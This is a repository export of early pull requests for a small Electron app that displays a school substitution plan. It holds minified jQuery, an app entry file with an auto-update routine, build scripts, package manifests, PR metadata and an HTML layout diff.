a.checked=r.inArray(r(a).val(),b)>-1}},o.checkOn||(r.valHooks[this].get=function(a){return null===a.getAttribute("value")?"on":a.value})});var pb=/^(?:focusinfocus|focusoutblur)$/;r.extend(r.event,{trigger:function(b,c,e,f){var g,h,i,j,k,m,n,o=[e||d],p=l.call(b,"type")?b.type:b,q=l.call(b,"namespace")?b.namespace.split("."):[];if(h=i=e=e||d,3!==e.nodeType&&8!==e.nodeType&&!pb.test(p+r.event.triggered)&&(p.indexOf(".")>-1&&(q=p.split("."),p=q.shift(),q.sort()),k=p.indexOf(":")<0&&"on"+p,b=b[r.expando]?b:new r.Event(p,"object"==typeof b&&b),b.isTrigger=f?2:3,b.namespace=q.join("."),b.rnamespace=b.namespace?new RegExp("(^|\\.)"+q.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=e),c=null==c?[b]:r.makeArray(c,[b]),n=r.event.special[p]||{},f||!n.trigger||n.trigger.apply(e,c)!==!1)){if(!f&&!n.noBubble&&!r.isWindow(e)){for(j=n.delegateType||p,pb.test(j+p)||(h=h.parentNode);h;h=h.parentNode)o.push(h),i=h;i===(e.ownerDocument||d)&&o.push(i.defaultView||i.parentWindow||a)}g=0;while((h=o[g++])&&!b.isPropagationStopped())b.type=g>1?j:n.bindType||p,m=(V.get(h,"events")||{})[b.type]&&V.get(h,"handle"),m&&m.apply(h,c),m=k&&h[k],m&&m.apply&&T(h)&&(b.result=m.apply(h,c),b.result===!1&&b.preventDefault());return b.type=p,f||b.isDefaultPrevented()||n._default&&n._default.apply(o.pop(),c)!==!1||!T(e)||k&&r.isFunction(e[p])&&!r.isWindow(e)&&(i=e[k],i&&(e[k]=null),r.event.triggered=p,e[p](),r.event.triggered=void 0,i&&(e[k]=i)),b.result}},simulate:function(a,b,c){var d=r.extend(new r.Event,c,{type:a,isSimulated:!0});r.event.trigger(d,null,b)}}),r.fn.extend({trigger:function(a,b){return this.each(function(){r.event.trigger(a,b,this)})},triggerHandler:function(a,b){var c=this[0];if(c)return r.event.trigger(a,b,c,!0)}}),r.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(a,b){r.fn[b]=function(a,c){return arguments.length>0?this.on(b,null,a,c):this.trigger(b)}}),r.fn.extend({hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}}),o.focusin="onfocusin"in a,o.focusin||r.each({focus:"focusin",blur:"focusout"},function(a,b){var c=function(a){r.event.simulate(b,a.target,r.event.fix(a))};r.event.special[b]={setup:function(){var d=this.ownerDocument||this,e=V.access(d,b);e||d.addEventListener(a,c,!0),V.access(d,b,(e||0)+1)},teardown:function(){var d=this.ownerDocument||this,e=V.access(d,b)-1;e?V.access(d,b,e):(d.removeEventListener(a,c,!0),V.remove(d,b))}}});var qb=a.location,rb=r.now(),sb=/\?/;r.parseXML=function(b){var c;if(!b||"string"!=typeof b)return null;try{c=(new a.DOMParser).parseFromString(b,"text/xml")}catch(d){c=void 0}return c&&!c.getElementsByTagName("parsererror").length||r.error("Invalid XML: "+b),c};var tb=/\[\]$/,ub=/\r?\n/g,vb=/^(?:submit|button|image|reset|file)$/i,wb=/^(?:input|select|textarea|keygen)/i;function xb(a,b,c,d){var e;if(r.isArray(b))r.each(b,function(b,e){c||tb.test(a)?d(a,e):xb(a+"["+("object"==typeof e&&null!=e?b:"")+"]",e,c,d)});else if(c||"object"!==r.type(b))d(a,b);else for(e in b)xb(a+"["+e+"]",b[e],c,d)}r.param=function(a,b){var c,d=[],e=function(a,b){var c=r.isFunction(b)?b():b;d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(null==c?"":c)};if(r.isArray(a)||a.jquery&&!r.isPlainObject(a))r.each(a,function(){e(this.name,this.value)});else for(c in a)xb(c,a[c],b,e);return d.join("&")},r.fn.extend({serialize:function(){return r.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var a=r.prop(this,"elements");return a?r.makeArray(a):this}).filter(function(){var a=this.type;return this.name&&!r(this).is(":disabled")&&wb.test(this.nodeName)&&!vb.test(a)&&(this.checked||!ha.test(a))}).map(function(a,b){var c=r(this).val();return null==c?null:r.isArray(c)?r.map(c,function(a){return{name:b.name,value:a.replace(ub,"\r\n")}}):{name:b.name,value:c.replace(ub,"\r\n")}}).get()}});var yb=/%20/g,zb=/#.*$/,Ab=/([?&])_=[^&]*/,Bb=/^(.*?):[ \t]*([^\r\n]*)$/gm,Cb=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Db=/^(?:GET|HEAD)$/,Eb=/^\/\//,Fb={},Gb={},Hb="*/".concat("*"),Ib=d.createElement("a");Ib.href=qb.href;function Jb(a){return function(b,c){"string"!=typeof b&&(c=b,b="*");var d,e=0,f=b.toLowerCase().match(K)||[];if(r.isFunction(c))while(d=f[e++])"+"===d[0]?(d=d.slice(1)||"*",(a[d]=a[d]||[]).unshift(c)):(a[d]=a[d]||[]).push(c)}}function Kb(a,b,c,d){var e={},f=a===Gb;function g(h){var i;return e[h]=!0,r.each(a[h]||[],function(a,h){var j=h(b,c,d);return"string"!=typeof j||f||e[j]?f?!(i=j):void 0:(b.dataTypes.unshift(j),g(j),!1)}),i}return g(b.dataTypes[0])||!e["*"]&&g("*")}function Lb(a,b){var c,d,e=r.ajaxSettings.flatOptions||{};for(c in b)void 0!==b[c]&&((e[c]?a:d||(d={}))[c]=b[c]);return d&&r.extend(!0,a,d),a}function Mb(a,b,c){var d,e,f,g,h=a.contents,i=a.dataTypes;while("*"===i[0])i.shift(),void 0===d&&(d=a.mimeType||b.getResponseHeader("Content-Type"));if(d)for(e in h)if(h[e]&&h[e].test(d)){i.unshift(e);break}if(i[0]in c)f=i[0];else{for(e in c){if(!i[0]||a.converters[e+" "+i[0]]){f=e;break}g||(g=e)}f=f||g}if(f)return f!==i[0]&&i.unshift(f),c[f]}function Nb(a,b,c,d){var e,f,g,h,i,j={},k=a.dataTypes.slice();if(k[1])for(g in a.converters)j[g.toLowerCase()]=a.converters[g];f=k.shift();while(f)if(a.responseFields[f]&&(c[a.responseFields[f]]=b),!i&&d&&a.dataFilter&&(b=a.dataFilter(b,a.dataType)),i=f,f=k.shift())if("*"===f)f=i;else if("*"!==i&&i!==f){if(g=j[i+" "+f]||j["* "+f],!g)for(e in j)if(h=e.split(" "),h[1]===f&&(g=j[i+" "+h[0]]||j["* "+h[0]])){g===!0?g=j[e]:j[e]!==!0&&(f=h[0],k.unshift(h[1]));break}if(g!==!0)if(g&&a["throws"])b=g(b);else try{b=g(b)}catch(l){return{state:"parsererror",error:g?l:"No conversion from "+i+" to "+f}}}return{state:"success",data:b}}r.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:qb.href,type:"GET",isLocal:Cb.test(qb.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Hb,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":r.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(a,b){return b?Lb(Lb(a,r.ajaxSettings),b):Lb(r.ajaxSettings,a)},ajaxPrefilter:Jb(Fb),ajaxTransport:Jb(Gb),ajax:function(b,c){"object"==typeof b&&(c=b,b=void 0),c=c||{};var e,f,g,h,i,j,k,l,m,n,o=r.ajaxSetup({},c),p=o.context||o,q=o.context&&(p.nodeType||p.jquery)?r(p):r.event,s=r.Deferred(),t=r.Callbacks("once memory"),u=o.statusCode||{},v={},w={},x="canceled",y={readyState:0,getResponseHeader:function(a){var b;if(k){if(!h){h={};while(b=Bb.exec(g))h[b[1].toLowerCase()]=b[2]}b=h[a.toLowerCase()]}return null==b?null:b},getAllResponseHeaders:function(){return k?g:null},setRequestHeader:function(a,b){return null==k&&(a=w[a.toLowerCase()]=w[a.toLowerCase()]||a,v[a]=b),this},overrideMimeType:function(a){return null==k&&(o.mimeType=a),this},statusCode:function(a){var b;if(a)if(k)y.always(a[y.status]);else for(b in a)u[b]=[u[b],a[b]];return this},abort:function(a){var b=a||x;return e&&e.abort(b),A(0,b),this}};if(s.promise(y),o.url=((b||o.url||qb.href)+"").replace(Eb,qb.protocol+"//"),o.type=c.method||c.type||o.method||o.type,o.dataTypes=(o.dataType||"*").toLowerCase().match(K)||[""],null==o.crossDomain){j=d.createElement("a");try{j.href=o.url,j.href=j.href,o.crossDomain=Ib.protocol+"//"+Ib.host!=j.protocol+"//"+j.host}catch(z){o.crossDomain=!0}}if(o.data&&o.processData&&"string"!=typeof o.data&&(o.data=r.param(o.data,o.traditional)),Kb(Fb,o,c,y),k)return y;l=r.event&&o.global,l&&0===r.active++&&r.event.trigger("ajaxStart"),o.type=o.type.toUpperCase(),o.hasContent=!Db.test(o.type),f=o.url.replace(zb,""),o.hasContent?o.data&&o.processData&&0===(o.contentType||"").indexOf("application/x-www-form-urlencoded")&&(o.data=o.data.replace(yb,"+")):(n=o.url.slice(f.length),o.data&&(f+=(sb.test(f)?"&":"?")+o.data,delete o.data),o.cache===!1&&(f=f.replace(Ab,""),n=(sb.test(f)?"&":"?")+"_="+rb++ +n),o.url=f+n),o.ifModified&&(r.lastModified[f]&&y.setRequestHeader("If-Modified-Since",r.lastModified[f]),r.etag[f]&&y.setRequestHeader("If-None-Match",r.etag[f])),(o.data&&o.hasContent&&o.contentType!==!1||c.contentType)&&y.setRequestHeader("Content-Type",o.contentType),y.setRequestHeader("Accept",o.dataTypes[0]&&o.accepts[o.dataTypes[0]]?o.accepts[o.dataTypes[0]]+("*"!==o.dataTypes[0]?", "+Hb+"; q=0.01":""):o.accepts["*"]);for(m in o.headers)y.setRequestHeader(m,o.headers[m]);if(o.beforeSend&&(o.beforeSend.call(p,y,o)===!1||k))return y.abort();if(x="abort",t.add(o.complete),y.done(o.success),y.fail(o.error),e=Kb(Gb,o,c,y)){if(y.readyState=1,l&&q.trigger("ajaxSend",[y,o]),k)return y;o.async&&o.timeout>0&&(i=a.setTimeout(function(){y.abort("timeout")},o.timeout));try{k=!1,e.send(v,A)}catch(z){if(k)throw z;A(-1,z)}}else A(-1,"No Transport");function A(b,c,d,h){var j,m,n,v,w,x=c;k||(k=!0,i&&a.clearTimeout(i),e=void 0,g=h||"",y.readyState=b>0?4:0,j=b>=200&&b<300||304===b,d&&(v=Mb(o,y,d)),v=Nb(o,v,y,j),j?(o.ifModified&&(w=y.getResponseHeader("Last-Modified"),w&&(r.lastModified[f]=w),w=y.getResponseHeader("etag"),w&&(r.etag[f]=w)),204===b||"HEAD"===o.type?x="nocontent":304===b?x="notmodified":(x=v.state,m=v.data,n=v.error,j=!n)):(n=x,!b&&x||(x="error",b<0&&(b=0))),y.status=b,y.statusText=(c||x)+"",j?s.resolveWith(p,[m,x,y]):s.rejectWith(p,[y,x,n]),y.statusCode(u),u=void 0,l&&q.trigger(j?"ajaxSuccess":"ajaxError",[y,o,j?m:n]),t.fireWith(p,[y,x]),l&&(q.trigger("ajaxComplete",[y,o]),--r.active||r.event.trigger("ajaxStop")))}return y},getJSON:function(a,b,c){return r.get(a,b,c,"json")},getScript:function(a,b){return r.get(a,void 0,b,"script")}}),r.each(["get","post"],function(a,b){r[b]=function(a,c,d,e){return r.isFunction(c)&&(e=e||d,d=c,c=void 0),r.ajax(r.extend({url:a,type:b,dataType:e,data:c,success:d},r.isPlainObject(a)&&a))}}),r._evalUrl=function(a){return r.ajax({url:a,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},r.fn.extend({wrapAll:function(a){var b;return this[0]&&(r.isFunction(a)&&(a=a.call(this[0])),b=r(a,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstElementChild)a=a.firstElementChild;return a}).append(this)),this},wrapInner:function(a){return r.isFunction(a)?this.each(function(b){r(this).wrapInner(a.call(this,b))}):this.each(function(){var b=r(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=r.isFunction(a);return this.each(function(c){r(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(a){return this.parent(a).not("body").each(function(){r(this).replaceWith(this.childNodes)}),this}}),r.expr.pseudos.hidden=function(a){return!r.expr.pseudos.visible(a)},r.expr.pseudos.visible=function(a){return!!(a.offsetWidth||a.offsetHeight||a.getClientRects().length)},r.ajaxSettings.xhr=function(){try{return new a.XMLHttpRequest}catch(b){}};var Ob={0:200,1223:204},Pb=r.ajaxSettings.xhr();o.cors=!!Pb&&"withCredentials"in Pb,o.ajax=Pb=!!Pb,r.ajaxTransport(function(b){var c,d;if(o.cors||Pb&&!b.crossDomain)return{send:function(e,f){var g,h=b.xhr();if(h.open(b.type,b.url,b.async,b.username,b.password),b.xhrFields)for(g in b.xhrFields)h[g]=b.xhrFields[g];b.mimeType&&h.overrideMimeType&&h.overrideMimeType(b.mimeType),b.crossDomain||e["X-Requested-With"]||(e["X-Requested-With"]="XMLHttpRequest");for(g in e)h.setRequestHeader(g,e[g]);c=function(a){return function(){c&&(c=d=h.onload=h.onerror=h.onabort=h.onreadystatechange=null,"abort"===a?h.abort():"error"===a?"number"!=typeof h.status?f(0,"error"):f(h.status,h.statusText):f(Ob[h.status]||h.status,h.statusText,"text"!==(h.responseType||"text")||"string"!=typeof h.responseText?{binary:h.response}:{text:h.responseText},h.getAllResponseHeaders()))}},h.onload=c(),d=h.onerror=c("error"),void 0!==h.onabort?h.onabort=d:h.onreadystatechange=function(){4===h.readyState&&a.setTimeout(function(){c&&d()})},c=c("abort");try{h.send(b.hasContent&&b.data||null)}catch(i){if(c)throw i}},abort:function(){c&&c()}}}),r.ajaxPrefilter(function(a){a.crossDomain&&(a.contents.script=!1)}),r.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(a){return r.globalEval(a),a}}}),r.ajaxPrefilter("script",function(a){void 0===a.cache&&(a.cache=!1),a.crossDomain&&(a.type="GET")}),r.ajaxTransport("script",function(a){if(a.crossDomain){var b,c;return{send:function(e,f){b=r("<script>").prop({charset:a.scriptCharset,src:a.url}).on("load error",c=function(a){b.remove(),c=null,a&&f("error"===a.type?404:200,a.type)}),d.head.appendChild(b[0])},abort:function(){c&&c()}}}});var Qb=[],Rb=/(=)\?(?=&|$)|\?\?/;r.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var a=Qb.pop()||r.expando+"_"+rb++;return this[a]=!0,a}}),r.ajaxPrefilter("json jsonp",function(b,c,d){var e,f,g,h=b.jsonp!==!1&&(Rb.test(b.url)?"url":"string"==typeof b.data&&0===(b.contentType||"").indexOf("application/x-www-form-urlencoded")&&Rb.test(b.data)&&"data");if(h||"jsonp"===b.dataTypes[0])return e=b.jsonpCallback=r.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,h?b[h]=b[h].replace(Rb,"$1"+e):b.jsonp!==!1&&(b.url+=(sb.test(b.url)?"&":"?")+b.jsonp+"="+e),b.converters["script json"]=function(){return g||r.error(e+" was not called"),g[0]},b.dataTypes[0]="json",f=a[e],a[e]=function(){g=arguments},d.always(function(){void 0===f?r(a).removeProp(e):a[e]=f,b[e]&&(b.jsonpCallback=c.jsonpCallback,Qb.push(e)),g&&r.isFunction(f)&&f(g[0]),g=f=void 0}),"script"}),o.createHTMLDocument=function(){var a=d.implementation.createHTMLDocument("").body;return a.innerHTML="<form></form><form></form>",2===a.childNodes.length}(),r.parseHTML=function(a,b,c){if("string"!=typeof a)return[];"boolean"==typeof b&&(c=b,b=!1);var e,f,g;return b||(o.createHTMLDocument?(b=d.implementation.createHTMLDocument(""),e=b.createElement("base"),e.href=d.location.href,b.head.appendChild(e)):b=d),f=B.exec(a),g=!c&&[],f?[b.createElement(f[1])]:(f=oa([a],b,g),g&&g.length&&r(g).remove(),r.merge([],f.childNodes))},r.fn.load=function(a,b,c){var d,e,f,g=this,h=a.indexOf(" ");return h>-1&&(d=r.trim(a.slice(h)),a=a.slice(0,h)),r.isFunction(b)?(c=b,b=void 0):b&&"object"==typeof b&&(e="POST"),g.length>0&&r.ajax({url:a,type:e||"GET",dataType:"html",data:b}).done(function(a){f=arguments,g.html(d?r("<div>").append(r.parseHTML(a)).find(d):a)}).always(c&&function(a,b){g.each(function(){c.apply(this,f||[a.responseText,b,a])})}),this},r.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(a,b){r.fn[b]=function(a){return this.on(b,a)}}),r.expr.pseudos.animated=function(a){return r.grep(r.timers,function(b){return a===b.elem}).length};function Sb(a){return r.isWindow(a)?a:9===a.nodeType&&a.defaultView}r.offset={setOffset:function(a,b,c){var d,e,f,g,h,i,j,k=r.css(a,"position"),l=r(a),m={};"static"===k&&(a.style.position="relative"),h=l.offset(),f=r.css(a,"top"),i=r.css(a,"left"),j=("absolute"===k||"fixed"===k)&&(f+i).indexOf("auto")>-1,j?(d=l.position(),g=d.top,e=d.left):(g=parseFloat(f)||0,e=parseFloat(i)||0),r.isFunction(b)&&(b=b.call(a,c,r.extend({},h))),null!=b.top&&(m.top=b.top-h.top+g),null!=b.left&&(m.left=b.left-h.left+e),"using"in b?b.using.call(a,m):l.css(m)}},r.fn.extend({offset:function(a){if(arguments.length)return void 0===a?this:this.each(function(b){r.offset.setOffset(this,a,b)});var b,c,d,e,f=this[0];if(f)return f.getClientRects().length?(d=f.getBoundingClientRect(),d.width||d.height?(e=f.ownerDocument,c=Sb(e),b=e.documentElement,{top:d.top+c.pageYOffset-b.clientTop,left:d.left+c.pageXOffset-b.clientLeft}):d):{top:0,left:0}},position:function(){if(this[0]){var a,b,c=this[0],d={top:0,left:0};return"fixed"===r.css(c,"position")?b=c.getBoundingClientRect():(a=this.offsetParent(),b=this.offset(),r.nodeName(a[0],"html")||(d=a.offset()),d={top:d.top+r.css(a[0],"borderTopWidth",!0),left:d.left+r.css(a[0],"borderLeftWidth",!0)}),{top:b.top-d.top-r.css(c,"marginTop",!0),left:b.left-d.left-r.css(c,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var a=this.offsetParent;while(a&&"static"===r.css(a,"position"))a=a.offsetParent;return a||pa})}}),r.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(a,b){var c="pageYOffset"===b;r.fn[a]=function(d){return S(this,function(a,d,e){var f=Sb(a);return void 0===e?f?f[b]:a[d]:void(f?f.scrollTo(c?f.pageXOffset:e,c?e:f.pageYOffset):a[d]=e)},a,d,arguments.length)}}),r.each(["top","left"],function(a,b){r.cssHooks[b]=Na(o.pixelPosition,function(a,c){if(c)return c=Ma(a,b),Ka.test(c)?r(a).position()[b]+"px":c})}),r.each({Height:"height",Width:"width"},function(a,b){r.each({padding:"inner"+a,content:b,"":"outer"+a},function(c,d){r.fn[d]=function(e,f){var g=arguments.length&&(c||"boolean"!=typeof e),h=c||(e===!0||f===!0?"margin":"border");return S(this,function(b,c,e){var f;return r.isWindow(b)?0===d.indexOf("outer")?b["inner"+a]:b.document.documentElement["client"+a]:9===b.nodeType?(f=b.documentElement,Math.max(b.body["scroll"+a],f["scroll"+a],b.body["offset"+a],f["offset"+a],f["client"+a])):void 0===e?r.css(b,c,h):r.style(b,c,e,h)},b,g?e:void 0,g)}})}),r.fn.extend({bind:function(a,b,c){return this.on(a,null,b,c)},unbind:function(a,b){return this.off(a,null,b)},delegate:function(a,b,c,d){return this.on(b,a,c,d)},undelegate:function(a,b,c){return 1===arguments.length?this.off(a,"**"):this.off(b,a||"**",c)}}),r.parseJSON=JSON.parse,"function"==typeof define&&define.amd&&define("jquery",[],function(){return r});var Tb=a.jQuery,Ub=a.$;return r.noConflict=function(b){return a.$===r&&(a.$=Ub),b&&a.jQuery===r&&(a.jQuery=Tb),r},b||(a.jQuery=a.$=r),r});
+\ No newline at end of file
+diff --git a/app/main.js b/app/main.js
+new file mode 100644
+index 0000000..84c4afb
+--- /dev/null
++++ b/app/main.js
+@@ -0,0 +1,72 @@
++const {app, BrowserWindow, dialog} = require('electron')
++
++// Keep a global reference of the window object, if you don't, the window will
++// be closed automatically when the JavaScript object is garbage collected.
++let win
++
++function update () {
++ var feedUrl = 'https://ls-desktop.herokuapp.com/update/win32/:' + app.getVersion();
++ autoUpdater.setFeedURL(feedUrl);
++
++ autoUpdater.on('update-downloaded', function (event, releaseNotes, releaseName, releaseDate, updateUrl, quitAndUpdate) {
++
++ var index = dialog.showMessageBox(mainWindow, {
++ type: 'info',
++ buttons: [i18n.__('Restart'), i18n.__('Later')],
++ title: "Typetalk",
++ message: i18n.__('The new version has been downloaded. Please restart the application to apply the updates.'),
++ detail: releaseName + "\n\n" + releaseNotes
++ });
++
++ if (index === 1) {
++ return;
++ }
++
++ quitAndUpdate();
++ });
++}
++
++function createWindow () {
++ // Create the browser window.
++ win = new BrowserWindow({width: 800, height: 600})
++
++ // and load the index.html of the app.
++ win.loadURL(`file://${__dirname}/index.html`)
++
++ // Open the DevTools.
++ //win.webContents.openDevTools()
++
++ // Emitted when the window is closed.
++ win.on('closed', () => {
++ // Dereference the window object, usually you would store windows
++ // in an array if your app supports multi windows, this is the time
++ // when you should delete the corresponding element.
++ win = null
++ })
++}
++
++// This method will be called when Electron has finished
++// initialization and is ready to create browser windows.
++// Some APIs can only be used after this event occurs.
++app.on('ready', createWindow)
++
++// Quit when all windows are closed.
++app.on('window-all-closed', () => {
++ // On macOS it is common for applications and their menu bar
++ // to stay active until the user quits explicitly with Cmd + Q
++ if (process.platform !== 'darwin') {
++ app.quit()
++ }
++})
++
++app.on('activate', () => {
++ // On macOS it's common to re-create a window in the app when the
++ // dock icon is clicked and there are no other windows open.
++ if (win === null) {
++ createWindow()
++ }
++ update();
++})
++
++// In this file you can include the rest of your app's specific main process
++// code. You can also put them in separate files and require them here.
+\ No newline at end of file
+diff --git a/app/package.json b/app/package.json
+new file mode 100644
+index 0000000..fa0d33f
+--- /dev/null
++++ b/app/package.json
+@@ -0,0 +1,11 @@
++{
++ "name": "ls_vertretungsplan_desktop",
++ "version": "0.0.2",
++ "description": "Eine Anwendung die den Vertretungsplan auf dem Desktop anzeigt",
++ "main": "./main.js",
++ "author": "Marcel Radzio <info@nordgedanken.de>",
++ "license": "",
++ "dependencies": {
++ "request": "^2.69.0"
++ }
++}
+diff --git a/build.cmd b/build.cmd
+new file mode 100644
+index 0000000..280a236
+--- /dev/null
++++ b/build.cmd
+@@ -0,0 +1,2 @@
++electron-packager app --all --out prebuild/
++node build.js
+\ No newline at end of file
+diff --git a/build.js b/build.js
+new file mode 100644
+index 0000000..e459fad
+--- /dev/null
++++ b/build.js
+@@ -0,0 +1,9 @@
++var electronInstaller = require('electron-winstaller');
++resultPromise = electronInstaller.createWindowsInstaller({
++ appDirectory: 'prebuild/ls_vertretungsplan_desktop-win32-x64',
++ outputDirectory: 'build',
++ authors: 'Marcel Radzio',
++ exe: 'ls_vertretungsplan_desktop.exe'
++ });
++
++resultPromise.then(() => console.log("It worked!"), (e) => console.log(`No dice: ${e.message}`));
+\ No newline at end of file
+diff --git a/package.json b/package.json
+new file mode 100644
+index 0000000..d3646a0
+--- /dev/null
++++ b/package.json
+@@ -0,0 +1,11 @@
++{
++ "name": "ls_vertretungsplan_desktop",
++ "version": "0.0.2",
++ "description": "Eine Anwendung die den Vertretungsplan auf dem Desktop anzeigt",
++ "author": "Marcel Radzio <info@nordgedanken.de>",
++ "license": "",
++ "devDependencies": {
++ "electron": "^1.3.4",
++ "electron-winstaller": "^2.3.4"
++ }
++}
diff --git a/pulls/2.json b/pulls/2.json
@@ -0,0 +1,18 @@
+{
+ "number": 2,
+ "title": "First Stable base",
+ "state": "merged",
+ "diff_file": "2.diff",
+ "author": "MTRNord",
+ "created_at": "2016-08-28T17:45:02Z",
+ "closed_at": "2016-08-28T17:45:49Z",
+ "merged_at": "2016-08-28T17:45:49Z",
+ "base_ref": "master",
+ "head_ref": "electron",
+ "labels": [],
+ "assignees": [],
+ "requested_reviewers": [],
+ "body": "",
+ "comments": [],
+ "review_comments": []
+}
diff --git a/pulls/2.md b/pulls/2.md
@@ -0,0 +1,13 @@
+# PR #2 First Stable base
+
+- **Status:** merged
+- **Author:** @MTRNord
+- **Created:** 2016-08-28T17:45:02Z
+- **Branch:** electron → master
+- **Merged:** 2016-08-28T17:45:49Z
+- **Diff:** [2.diff](./2.diff)
+
+---
+
+_No description._
+
diff --git a/pulls/3.diff b/pulls/3.diff
@@ -0,0 +1,270 @@
+diff --git a/.gitignore b/.gitignore
+index e19b3a4..c6a79c6 100644
+--- a/.gitignore
++++ b/.gitignore
+@@ -23,6 +23,7 @@ coverage
+ # Compiled binary addons (http://nodejs.org/api/addons.html)
+ build/Release
+ build
++prebuild
+ cache
+
+ # Dependency directory
+diff --git a/app/index.html b/app/index.html
+index 826116a..31739b7 100644
+--- a/app/index.html
++++ b/app/index.html
+@@ -14,15 +14,15 @@
+ <div class="bmd-layout-container">
+ <main class="bmd-layout-content">
+ <div class="container" id="representations">
+- <h1 id="school"></h1>
++ <h1 id="school"></h1></br>
+
+ </div>
+ </main>
+ </div>
+
+ <!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
+- <script src="https://code.jquery.com/jquery-3.1.0.min.js"></script>
+- <script>
++ <script>
++ window.$ = window.jQuery = require('./js/jquery-3.1.0.min.js');
+ var request = require("request")
+ //<!-- http://THIS_IS_AN_SECRET_DOMAIN -->
+ var url = "http://THIS_IS_AN_SECRET_DOMAIN/vertretungsplan?" +
+@@ -68,30 +68,30 @@ <h1 id="school"></h1>
+ text = representations_details.text
+ if (representation_type == "Vertretung") {
+ if (lesson.match(reg)) {
+- $("#representations").append('<div class="card card-block" style="height: 10%; background-color: #2196F3; color: #fff">' + '<div class="row">' + '<div width="20%" class="mdl-cell col-xs-12 col-sm-6 col-md-3" style="position: relative; margin: 0;"><p style="font-size: 300%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div width="80%" class="mdl-cell col-xs-12 col-sm-6 col-md-3"><h4>' + representation_type + '</h4></br><p>' + text + '</div>' + '</div>' + '</div>')
++ $("#representations").append('<div class="card card-block" style="height: 10%; background-color: #2196F3; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 300%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + representation_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
+ }else{
+- $("#representations").append('<div class="card card-block" style="height: 10%; background-color: #2196F3; color: #fff">' + '<div class="row">' + '<div width="20%" class="mdl-cell col-xs-12 col-sm-6 col-md-3" style="position: relative; margin: 0;"><p style="font-size: 350%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div width="80%" class="mdl-cell col-xs-12 col-sm-6 col-md-3"><h4>' + representation_type + '</h4></br><p>' + text + '</div>' + '</div>' + '</div>')
++ $("#representations").append('<div class="card card-block" style="height: 10%; background-color: #2196F3; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 350%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + representation_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
+ }
+ }else{
+ if (representation_type == "Betreuung") {
+ if (lesson.match(reg)) {
+- $("#representations").append('<div class="card card-block" style="height: 10%; background-color: #2196F3; color: #fff">' + '<div class="row">' + '<div width="20%" class="mdl-cell col-xs-12 col-sm-6 col-md-3" style="position: relative; margin: 0;"><p style="font-size: 300%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div width="80%" class="mdl-cell col-xs-12 col-sm-6 col-md-3"><h4>' + representation_type + '</h4></br><p>' + text + '</div>' + '</div>' + '</div>')
++ $("#representations").append('<div class="card card-block" style="height: 10%; background-color: #2196F3; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 300%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + representation_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
+ }else{
+- $("#representations").append('<div class="card card-block" style="height: 10%; background-color: #2196F3; color: #fff">' + '<div class="row">' + '<div width="20%" class="mdl-cell col-xs-12 col-sm-6 col-md-3" style="position: relative; margin: 0;"><p style="font-size: 350%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div width="80%" class="mdl-cell col-xs-12 col-sm-6 col-md-3"><h4>' + representation_type + '</h4></br><p>' + text + '</div>' + '</div>' + '</div>')
++ $("#representations").append('<div class="card card-block" style="height: 10%; background-color: #2196F3; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 350%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + representation_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
+ }
+ }else{
+ if (representation_type == "Unterricht geändert") {
+ if (lesson.match(reg)) {
